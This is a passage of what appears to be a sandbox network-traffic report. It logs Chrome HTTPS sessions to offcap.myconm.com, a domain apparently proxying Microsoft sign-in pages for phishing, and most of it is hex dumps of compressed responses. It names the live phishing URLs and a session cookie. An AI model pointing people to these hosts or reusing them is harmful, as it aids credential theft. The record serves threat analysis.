25 36 c6 c6 88 69 89 99 Data Ascii: {_0\|O6"w;V[+me>!)$H]kUU.=ssvTjufu]}6a/>m4e~\|10~7z~g/c:gZWiOXbwE7uYO,NpMW7\|-Ylfl^{l1Lcl:n=DQsw%6i
2024-12-09 17:42:40 UTC	14460	IN	Data Raw: 1d 08 31 8b b3 06 49 28 ee 27 b2 20 4d 2b 42 04 42 57 09 6d 5c 66 a1 7f 4b 43 b4 c5 30 c8 03 7a eb 8d 8d af 4b 31 cc 2c c8 67 da e0 5f 03 0a d9 84 3d f7 d9 20 07 36 08 b8 16 f3 5d 4e e0 ec 82 a5 82 03 73 16 b9 c2 0c c3 e6 a8 dd 75 a0 52 97 ec 75 a8 6e 16 2a 6b e1 7c 5e 0e 9e 09 84 47 dc 99 68 0d 75 16 cf a4 16 72 6e 4b 0a 42 4f 68 35 3d f1 ad b4 27 cd a4 e7 55 3c 4c 8c 77 ab 2d 9e 03 16 7b 74 80 ad 6f 65 6b ac 55 fd 21 85 55 36 17 0f 97 8a 0e de 42 31 fa 16 8c 23 9e 7b a0 d5 f3 a7 42 4f f9 94 60 48 5f b2 c8 75 3f 1d e0 a4 4f 60 fc 89 d6 86 81 fe 31 80 a1 98 5d bf 49 bc a5 15 2e f4 8b cb 2e b2 5d 7b 62 58 3f ed c9 00 4c 63 f8 e3 58 bb 76 67 e1 11 9a 29 69 c5 02 14 46 6e 76 09 ae 59 bc 66 3d 20 47 82 a0 90 5b ef 2b bb 5e 03 c1 e2 3a 40 cc 6e ea a0 ba 0c 84 Data Ascii: 1I(' M+BBWm\fKC0zK1,g_= 6]NsuRun*k\|^GhurnKBOh5='U<Lw-{toekU!U6B1#{BO`H_u?O`1]I..]{bX?LcXvg)iFnvYf= G[+^:@n
2024-12-09 17:42:40 UTC	16384	IN	Data Raw: 9a 90 dc 35 d6 d7 d5 91 4a 72 2a 62 a3 60 11 09 ea ea 23 b3 eb ab 1b 07 38 59 48 77 30 05 79 b6 e2 5a 7c f6 44 55 d3 fa 67 2b d8 4d 1d 9b a6 e1 f2 a7 66 8b 71 b6 4a 35 09 33 53 65 e0 ff 2b 55 cf a4 5f 6a 39 36 86 80 4e b3 8e 73 9a a5 07 58 ad e1 63 8d 32 d1 22 d3 c9 f2 08 66 d5 c1 d3 a0 15 7f d0 80 3e 0b 01 f2 d5 f2 31 c6 f5 ab 71 48 4d 1a 79 18 5d c2 4b 92 0c b0 f2 22 3d e8 29 38 89 5a 77 12 17 c5 ec bd 85 27 38 6f 40 76 b4 2c 38 3f 29 38 82 73 cf 99 aa 49 fd 71 e3 bf 6a 31 25 35 24 a9 86 da b8 be b6 da a1 ac 75 66 57 5a e3 a4 39 79 8b 95 86 50 10 c3 25 ab 5d 2d a9 11 b4 2a 3e 5c a6 bd db 61 7a c3 de e0 d8 6f 2a 63 17 25 24 da 13 0f bf 56 0d cc 95 aa ce c8 57 61 a9 59 db 0c d7 3d ea 36 25 f9 89 fa 60 3d 08 ff 0a 28 be f7 ba 3a 38 d7 d5 be 26 6e 68 d9 2b Data Ascii: 5Jrb`#8YHw0yZ\|DUg+MfqJ53Se+U_j96NsXc2"f>1qHMy]K"=)8Zw'8o@v,8?)8sIqj1%5$ufWZ9yP%]->\azo*c%$VWaY=6%`=(:8&nh+
2024-12-09 17:42:40 UTC	11046	IN	Data Raw: 7d db 04 06 29 1d 42 8a ab 9f 71 03 4b 2b 1a c7 10 e9 bd 11 5a 39 3d 1a a8 4d ea d8 20 c4 6f bb 78 4f 93 8c 38 da dc f2 e4 ec 8f 3f cc e5 27 ad 2e ad 93 af aa 36 d8 5d a8 e9 24 cb 69 76 e1 dc 25 1f e2 6d 58 d9 1c e7 98 75 d2 12 d8 a4 1d b1 a3 9f 76 29 bc a4 15 99 61 a5 ec 86 69 95 8a fa 56 b0 4e d7 2a 33 19 3b 75 0c 4a 2e 7f be ec 73 85 1c fa 20 5a 76 bb 4a 1e 24 07 a3 58 ac 92 5c 13 b7 69 aa 22 7a 4f 4d b5 77 a2 ce 5b 7d f7 e4 85 96 7c 76 3b cb bb 4b ed 32 74 20 0c dd 77 b2 f2 ee d4 ca bb 63 e3 ac 82 a8 23 0e ac 63 9d a5 5f 71 86 7e 11 77 89 b8 0f 14 cd 85 24 b4 7b 06 88 ef c0 22 d0 34 7d 28 3d 92 5f 5b 53 c9 3d 8f b0 38 aa ae 03 7d 09 b7 3e 31 6c bf ef 5e c0 7d 21 71 03 14 a1 73 60 0f f5 a1 1c 0a 53 d9 04 0b 7e 6b c6 aa bf 8c 35 d2 69 46 1d c8 0f 3a 4d Data Ascii: })BqK+Z9=M oxO8?'.6]$iv%mXuv)aiVN*3;uJ.s ZvJ$X\i"zOMw[}\|v;K2t wc#c_q~w${"4}(=_[S=8}>1l^}!qs`S~k5iF:M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.17	49791	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:42 UTC	627	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: 6d700e25-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://offcap.myconm.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:43 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:42:43 GMT Content-Type: application/x-javascript Content-Length: 49910 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 5841032 cache-control: public, max-age=31536000 etag: 0x8DCE31CBE97473C last-modified: Wed, 02 Oct 2024 19:59:37 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: a6876d74-601e-0080-4c42-15abc8000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-12-09 17:42:43 UTC	13689	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 b4 3b 77 1a d2 dd cc 00 61 08 4c cf 2e b0 5c 4e ac 80 a7 83 9d b5 1d 68 06 72 7e fb a9 17 c9 96 1d 87 ee d9 3d d7 f9 f2 cc 0b b1 a5 92 2c 95 aa 4a 55 a5 92 b4 f9 d3 da ff 54 7e aa 6c fc f8 3f 95 e1 79 ef ec bc 32 f8 58 39 ff 7c 78 76 50 39 85 b7 7f 54 4e 06 e7 87 fb fd 1f af 07 3f 8a ff 9f df f9 71 65 e2 4f 45 05 7e 47 6e 2c bc 4a 18 54 c2 a8 e2 07 e3 30 9a 85 91 9b 88 b8 72 0f 7f 23 df 9d 56 26 51 78 5f 49 ee 44 65 16 85 7f 88 71 12 57 a6 7e 9c 40 a1 91 98 86 8f 95 2a 54 17 79 95 53 37 4a 9e 2a 87 a7 66 1d ea 17 50 9b 7f eb 07 50 7a 1c ce 9e e0 f9 2e a9 04 61 e2 8f 45 c5 0d 3c aa 6d 0a 2f 41 2c 2a f3 c0 13 51 e5 f1 ce 1f df 55 8e fd 71 14 c6 e1 24 a9 44 62 2c Data Ascii: m[80OL;waL.\Nhr~=,JUT~l?y2X9\|xvP9TN?qeOE~Gn,JT0r#V&Qx_IDeqW~@TyS7JfPPz.aE<m/A,*QUq$Db,
2024-12-09 17:42:43 UTC	16384	IN	Data Raw: 7b 95 4a 55 5a fa 60 8e 87 18 90 06 c6 d1 bd c6 eb f9 ab b1 76 11 80 1c 1d df 31 63 fe 00 50 79 4d 51 f8 e0 7b 48 5c f3 a9 87 6a 35 cb a8 f2 0a cb 61 b9 de d6 17 f7 09 cc f8 57 a1 c9 cc ff 0b c0 30 15 ff 48 8d 3f 54 53 e9 67 4f c2 34 f6 42 de a7 54 de bc 25 b8 42 cb 4a ea f9 4b e5 bf e0 12 d8 3e 6b 55 82 a6 cd 57 b3 91 e2 c6 61 84 cb 6f b8 64 66 e8 6f a0 83 b9 c9 1d 02 a7 a9 b6 b1 94 94 41 a5 f4 96 41 a5 49 19 d4 60 ea 65 f9 f0 22 45 2f ae c3 66 0a d7 52 52 56 7e 9f 3f fb 61 9e 69 69 ea 3c 7e e3 fb 30 59 3d 8c 0f 0c c4 e6 1c 9c 48 9f ce 90 c2 f5 9a 5e 83 4a b9 55 45 1e 1b f9 77 a9 34 c1 9c 99 0d 1a 74 6d 29 6d 05 45 2d 8f e4 0f 81 65 5f 4d d7 8e e2 f9 34 c9 3e 9c 4b ce a0 0f 44 40 53 4e fe 3d cb 27 6b 87 c3 55 34 28 3d b5 40 89 19 d2 78 81 5a 47 ef 0f 02 Data Ascii: {JUZ`v1cPyMQ{H\j5aW0H?TSgO4BT%BJK>kUWaodfoAAI`e"E/fRRV~?aii<~0Y=H^JUEw4tm)mE-e_M4>KD@SN='kU4(=@xZG
2024-12-09 17:42:43 UTC	16384	IN	Data Raw: 22 aa 1b 5f ba 75 67 6d 2c 49 f2 1e 38 e9 6e 6f e7 3e d4 b2 f7 06 c2 8a 89 32 d7 d3 9a 1d d9 43 15 57 b7 f6 b1 cc 79 fc 8f cf 90 0b 01 49 6d 81 9f 79 c5 17 57 27 62 b8 56 f1 84 37 cb 30 dd 70 b2 86 84 23 26 a8 13 89 c2 95 e3 b4 64 fe 2a ca 85 cd e5 26 9f 0f 38 79 aa cd 95 4c 13 d7 0b 0b ce 9e 7b 19 25 43 69 ff fa ef 96 2e bd 24 09 0f 86 1c 0a 0a 7a b4 99 9c 63 54 86 5c be 0a 06 a3 2a dd 4b b6 d8 fb e7 70 f2 1f 2a c7 61 01 c5 46 56 3d ff c6 72 ce 2c 57 80 54 9e b5 20 e5 14 d9 de f3 8b 63 7e 78 e2 b9 92 e3 db de f9 96 e0 9f 22 84 df 84 e7 bb 08 45 7e 46 bc 02 a2 e3 74 74 2d 40 8d d5 f7 dd 55 84 eb 03 f1 57 f0 87 9a b3 8a ef 6a cf 2a e6 06 d5 b2 33 5b 49 4a f1 79 d6 05 23 26 af ef f5 c8 79 28 6f 36 8c 71 d4 8e 53 b1 00 ad 88 20 66 62 58 e3 94 8a fc 6a 3c 68 Data Ascii: "_ugm,I8no>2CWyImyW'bV70p#&d&8yL{%Ci.$zcT\KpaFV=r,WT c~x"E~Ftt-@UWj3[IJy#&y(o6qS fbXj<h
2024-12-09 17:42:44 UTC	3453	IN	Data Raw: c1 7a c2 f9 cb 91 08 ca e6 4a 94 34 8b be 4b bf 26 5a ed a8 e1 1a 09 b7 31 da dd 1d bd 2a 46 da cc 26 e8 e5 42 47 1d 8d 49 5f 2b a8 af 5a d6 84 13 52 5d 7b 7b fb a8 4c 2d 93 91 d2 2f 16 1d a8 79 39 28 a5 fc 23 94 67 ca 4e 07 a4 5d 48 74 22 a1 ee eb 0f d1 37 7b 7b 2c 1a d2 1a b2 cb 71 df 4b 55 9a ea 7a c7 6c 05 30 68 f8 c9 48 8f 89 34 63 a3 86 20 ba 61 fd 63 e6 5f 2a 7e 3c f6 93 74 b6 36 ec b9 e3 d2 32 18 c9 a7 99 c5 93 9f 63 c7 1b d1 83 d6 40 0b 0b 68 df f1 a9 f0 fc e2 08 0b 31 04 68 4d f5 9c 96 ec 12 4e df 46 da 68 13 2d 9e 62 6a 5f 73 98 72 23 15 a3 93 31 3c 64 c9 eb 24 5c f9 40 93 c1 af a1 45 a4 64 3f fb 80 b1 ce 95 c8 7a e2 ab 60 75 eb 96 87 0d 94 47 0c 63 db f4 c0 43 9c b1 88 ed 58 e5 53 fb 02 a2 8e a3 62 81 6d 02 2e 83 5b b0 8e d7 8c 70 11 a8 5f 32 Data Ascii: zJ4K&Z1F&BGI_+ZR]{{L-/y9(#gN]Ht"7{{,qKUzl0hH4c ac_~<t62c@h1hMNFh-bj_sr#1<d$\@Ed?z`uGcCXSbm.[p_2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.17	49793	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:45 UTC	650	OUT	GET /0e591a278ea443c18aa44fdb64cfa07a/ HTTP/1.1 Host: offcap.myconm.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://offcap.myconm.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA==" Sec-WebSocket-Key: VX/caWE8nSqL+x0r11Ne9A== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-12-09 17:42:46 UTC	735	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 09 Dec 2024 17:42:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 0441a297-3ebe-496c-a692-1f747e950901 x-ms-ests-server: 2.1.19492.3 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://d31a483e-0e591a27.myconm.com/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-09 17:42:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.17	49794	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:45 UTC	877	OUT	GET /?qe=3RVg&sso_reload=true HTTP/1.1 Host: offcap.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://offcap.myconm.com/?qe=3RVg Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-12-09 17:42:47 UTC	779	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:42:46 GMT Content-Type: text/html; charset=utf-8 Content-Length: 63477 Connection: close cache-control: no-store, no-cache pragma: no-cache vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: eb4a20bc-4749-4bf4-b87c-64a5d6d72b00 x-ms-ests-server: 2.1.19568.3 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://d31a483e-0e591a27.myconm.com/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-12-09 17:42:47 UTC	15605	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd d9 76 22 cb 92 28 f8 be bf 82 a4 77 65 c2 15 22 99 85 a4 e4 e8 30 0b 89 49 0c 1a 4b 57 2b 88 70 20 44 10 81 62 60 ca 14 6f fd 25 fd d0 ab 1e fa ad ff e0 fc 58 9b 99 7b 04 01 92 72 e7 19 ea 76 dd 55 7b 57 9d 24 dc c3 07 73 9b cd dc c3 f5 ed 53 a9 55 ec dd b5 cb 81 b1 3d d5 fe f2 db 37 fc 09 c8 9a 64 59 b9 60 30 a0 a8 66 2e a8 d9 66 30 a0 49 fa 28 17 64 7a f0 2f bf 05 be 8d 99 a4 c0 6f e0 9b ad da 1a c3 a7 40 57 1d e9 01 55 0f d8 46 60 65 38 66 40 92 65 c3 d1 6d 6c f4 d5 6b f5 6d ca 6c 29 20 1b ba cd 74 3b 17 b4 d9 d2 fe 8a 13 9e 06 e4 b1 64 5a cc ce 39 f6 f0 30 1b 04 60 ec d9 21 7b 71 d4 79 2e 58 e4 cd 0f 7b ab 19 0b 7e 7d 67 98 5a 39 c7 94 11 db ed 75 7b d8 cf 1f 16 8d e9 4c b2 d5 81 f6 7e c7 85 aa d8 e3 9c c2 e6 aa cc Data Ascii: v"(we"0IKW+p Db`o%X{rvU{W$sSU=7dY`0f.f0I(dz/o@WUF`e8f@emlkml) t;dZ90`!{qy.X{~}gZ9u{L~
2024-12-09 17:42:47 UTC	16379	IN	Data Raw: 4f e4 ac 3c 3d 7d 21 ef cf fd ec 0b f5 d7 b2 b8 42 8f e8 61 4b 08 4e 49 df bc 5f 5c 43 e9 76 2a b5 87 77 14 05 56 e6 75 e4 57 c7 c4 c9 86 92 0c 66 08 a1 b3 19 2a 18 ad ba 96 51 f6 5e 56 cb 0a f2 d5 b0 a6 de cd 7d 16 26 5a c9 b5 5c 49 bf 63 ca c5 f4 8b eb 3e 12 03 4c d7 63 86 46 00 4f 1a 92 4c b8 c6 1d 0f f0 68 73 d7 21 5b 8c 99 c9 fc 98 64 d2 94 ea 25 a1 be f9 a6 44 14 0b 42 27 c9 5c e3 08 d5 b4 f5 85 b6 97 5d 92 ab 23 8c 25 3d a3 85 a5 db 31 69 7c aa 22 8d cf 9f 3c 3e 71 bb 72 76 71 ab 90 45 f0 20 21 ae 73 d4 59 56 be 90 21 f6 d4 e2 16 f3 8a c1 fc 1c e6 5d 79 4c bc 87 7a 09 d1 b6 65 a7 e8 8e b3 1d 8f a7 d3 89 44 6a 5c 6b 35 2f c8 85 91 14 c5 f3 5f bc 9d 67 81 35 f7 f2 e7 2d ca 49 a3 b4 9c b5 69 13 b2 45 4c d5 a4 90 c3 13 5e f4 08 91 2d ef 9a 3d 0c a1 20 Data Ascii: O<=}!BaKNI_\CvwVuWfQ^V}&Z\Ic>LcFOLhs![d%DB'\]#%=1i\|"<>qrvqE !sYV!]yLzeDj\k5/_g5-IiEL^-=
2024-12-09 17:42:47 UTC	10657	IN	Data Raw: ef 00 ee 3e d6 61 28 3b ce c9 0f 54 e7 39 d0 a9 b5 76 9f c4 9d a3 6d 74 f2 49 a8 dd c8 71 0f ee 38 b4 1d d8 63 6f 61 8a 6a 01 6e 63 a3 84 de ad 73 67 11 61 c5 25 53 5c 01 b5 55 9d fe 7f c0 03 88 ae de 25 3a 02 6a 98 0f 0e 7a 9d 3b 2d 0a c3 11 62 34 f2 28 1f 6c 3b 7d 8a 3b 77 68 a5 9f 70 86 f9 8a 0d af 22 86 34 c1 e4 a0 cd a4 fc 4f a6 fc 6d 75 e0 c0 fe 20 e6 36 35 ce b7 5c 06 a9 55 3a aa 14 9e 91 c0 81 0b b4 4c ac c1 3b d6 60 a8 5f f3 ce 94 c2 11 35 fc 3d 13 f7 50 f2 e7 98 b8 99 92 63 e2 1e f6 e4 db 48 62 80 ee 75 7e 8e f0 53 55 dd d1 5a 3e 51 ba 6b bf 11 5c 73 c6 e7 dc 7e 2c 3c 65 33 b3 39 f7 ab d1 02 13 71 77 ed b7 e7 f9 6e 35 ee ae 09 97 58 af 4b f6 f7 a1 6e 14 09 40 4e 7b e2 c5 a7 a3 ec 3b 8e b8 cc 51 ed a7 de f1 03 c6 c4 a0 7f 7b 3b f9 7c 95 3f 28 eb Data Ascii: >a(;T9vmtIq8coajncsga%S\U%:jz;-b4(l;};whp"4Omu 65\U:L;`_5=PcHbu~SUZ>Qk\s~,<e39qwn5XKn@N{;Q{;\|?(
2024-12-09 17:42:47 UTC	16384	IN	Data Raw: 4a cc db b1 ed 3b dc e2 a0 ce ef 43 7d c3 48 41 5b 64 15 c9 64 af 3e e0 e2 31 0a 99 45 b5 69 64 7f e8 e5 63 64 2c 3e 58 59 0e 4a 5e f5 9b c9 7d 90 57 4e 42 4b 2a 2b 7a 2c 2a 35 5f 47 ad 15 5d 37 0f f6 c4 7a 23 ae 8a 54 66 f1 5a 2d b1 08 d7 2e e9 54 3b eb eb c1 7a 54 91 ab f5 81 be 1a 57 f5 05 20 a2 fa 66 cd a4 41 41 2f 49 7d 1a 69 bc a1 5f be ac 38 32 e9 9b 89 aa 0b 55 e2 9f f6 cf 0e a7 c4 ed 1c bd 4b 5e ee 9a 10 13 2a 47 51 84 7d f1 eb 57 d2 a2 9e 69 bb c0 1d 73 2f d4 65 96 92 f9 a6 13 df 4c b6 ed 42 d0 f1 16 82 48 ff cc bb a3 63 92 ab 71 ed 64 cc 13 cb 26 73 2d ab 19 a6 80 7c 40 05 e7 7a 69 78 52 9e f4 58 53 61 93 c1 88 b7 8e 90 5a 21 53 26 bd 57 78 99 fb ba bb eb eb 59 7a 7b 9b 8e 38 92 95 a4 9e 4f f0 e4 fd 1b 37 3d ba 98 1e a6 c1 ba 85 22 a1 59 75 4f Data Ascii: J;C}HA[dd>1Eidcd,>XYJ^}WNBK+z,5_G]7z#TfZ-.T;zTW fAA/I}i_82UK^*GQ}Wis/eLBHcqd&s-\|@zixRXSaZ!S&WxYz{8O7="YuO
2024-12-09 17:42:47 UTC	4452	IN	Data Raw: 32 e6 7e 6e 38 58 6b ee 0a 9f d6 c2 30 f9 0a 1f cf e9 2f 94 73 cd a8 ce 21 a0 13 00 cd 91 1f 0a a2 a8 b3 39 62 b2 48 bf 82 25 13 b8 3b 8d 6f 92 25 87 98 75 a5 16 14 01 5c d2 49 a9 4d 27 8d d0 30 49 d2 49 29 b4 a7 e8 24 01 40 a1 45 27 65 02 99 66 92 4e 62 eb 00 ab 57 5a 80 99 5f b6 6b b8 0a 13 67 c6 f3 03 7e c1 64 0c 32 f3 6e ba ee 8a 1e 80 51 cf ae 04 80 e4 37 13 5b 93 cb 9f df 63 2b 2e f6 12 56 70 e8 7a 03 7f a9 56 70 c0 2b a8 5f f1 2e 7f f7 07 bc 8e 54 ff ce f9 6e 0d 91 25 51 51 37 42 21 42 6e bc c0 36 3a 0b 07 de 8f 81 59 82 8b cb 91 13 70 dd 76 c4 b7 39 4a 59 74 73 f1 1a ca 75 00 3b 32 90 3b 32 85 f1 a9 1d 99 f2 8e 2c ad 1d 91 62 81 58 ee 08 72 52 91 71 e7 21 f3 b6 5a 79 26 98 87 c3 a1 45 8f d0 39 c5 d5 04 6c 9b 6e 72 50 13 05 ab 02 ca ef f0 f4 4a 77 Data Ascii: 2~n8Xk0/s!9bH%;o%u\IM'0II)$@E'efNbWZ_kg~d2nQ7[c+.VpzVp+_.Tn%QQ7B!Bn6:Ypv9JYtsu;2;2,bXrRq!Zy&E9lnrPJw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.17	49797	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:45 UTC	538	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: 6d700e25-0e591a27.myconm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:42:46 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:42:46 GMT Content-Type: application/x-javascript Content-Length: 49910 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 5845553 cache-control: public, max-age=31536000 etag: 0x8DCE31CBE97473C last-modified: Wed, 02 Oct 2024 19:59:37 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 9ba7681e-c01e-00c4-7737-1521f7000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-12-09 17:42:46 UTC	13689	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 b4 3b 77 1a d2 dd cc 00 61 08 4c cf 2e b0 5c 4e ac 80 a7 83 9d b5 1d 68 06 72 7e fb a9 17 c9 96 1d 87 ee d9 3d d7 f9 f2 cc 0b b1 a5 92 2c 95 aa 4a 55 a5 92 b4 f9 d3 da ff 54 7e aa 6c fc f8 3f 95 e1 79 ef ec bc 32 f8 58 39 ff 7c 78 76 50 39 85 b7 7f 54 4e 06 e7 87 fb fd 1f af 07 3f 8a ff 9f df f9 71 65 e2 4f 45 05 7e 47 6e 2c bc 4a 18 54 c2 a8 e2 07 e3 30 9a 85 91 9b 88 b8 72 0f 7f 23 df 9d 56 26 51 78 5f 49 ee 44 65 16 85 7f 88 71 12 57 a6 7e 9c 40 a1 91 98 86 8f 95 2a 54 17 79 95 53 37 4a 9e 2a 87 a7 66 1d ea 17 50 9b 7f eb 07 50 7a 1c ce 9e e0 f9 2e a9 04 61 e2 8f 45 c5 0d 3c aa 6d 0a 2f 41 2c 2a f3 c0 13 51 e5 f1 ce 1f df 55 8e fd 71 14 c6 e1 24 a9 44 62 2c Data Ascii: m[80OL;waL.\Nhr~=,JUT~l?y2X9\|xvP9TN?qeOE~Gn,JT0r#V&Qx_IDeqW~@TyS7JfPPz.aE<m/A,*QUq$Db,
2024-12-09 17:42:47 UTC	16384	IN	Data Raw: 7b 95 4a 55 5a fa 60 8e 87 18 90 06 c6 d1 bd c6 eb f9 ab b1 76 11 80 1c 1d df 31 63 fe 00 50 79 4d 51 f8 e0 7b 48 5c f3 a9 87 6a 35 cb a8 f2 0a cb 61 b9 de d6 17 f7 09 cc f8 57 a1 c9 cc ff 0b c0 30 15 ff 48 8d 3f 54 53 e9 67 4f c2 34 f6 42 de a7 54 de bc 25 b8 42 cb 4a ea f9 4b e5 bf e0 12 d8 3e 6b 55 82 a6 cd 57 b3 91 e2 c6 61 84 cb 6f b8 64 66 e8 6f a0 83 b9 c9 1d 02 a7 a9 b6 b1 94 94 41 a5 f4 96 41 a5 49 19 d4 60 ea 65 f9 f0 22 45 2f ae c3 66 0a d7 52 52 56 7e 9f 3f fb 61 9e 69 69 ea 3c 7e e3 fb 30 59 3d 8c 0f 0c c4 e6 1c 9c 48 9f ce 90 c2 f5 9a 5e 83 4a b9 55 45 1e 1b f9 77 a9 34 c1 9c 99 0d 1a 74 6d 29 6d 05 45 2d 8f e4 0f 81 65 5f 4d d7 8e e2 f9 34 c9 3e 9c 4b ce a0 0f 44 40 53 4e fe 3d cb 27 6b 87 c3 55 34 28 3d b5 40 89 19 d2 78 81 5a 47 ef 0f 02 Data Ascii: {JUZ`v1cPyMQ{H\j5aW0H?TSgO4BT%BJK>kUWaodfoAAI`e"E/fRRV~?aii<~0Y=H^JUEw4tm)mE-e_M4>KD@SN='kU4(=@xZG
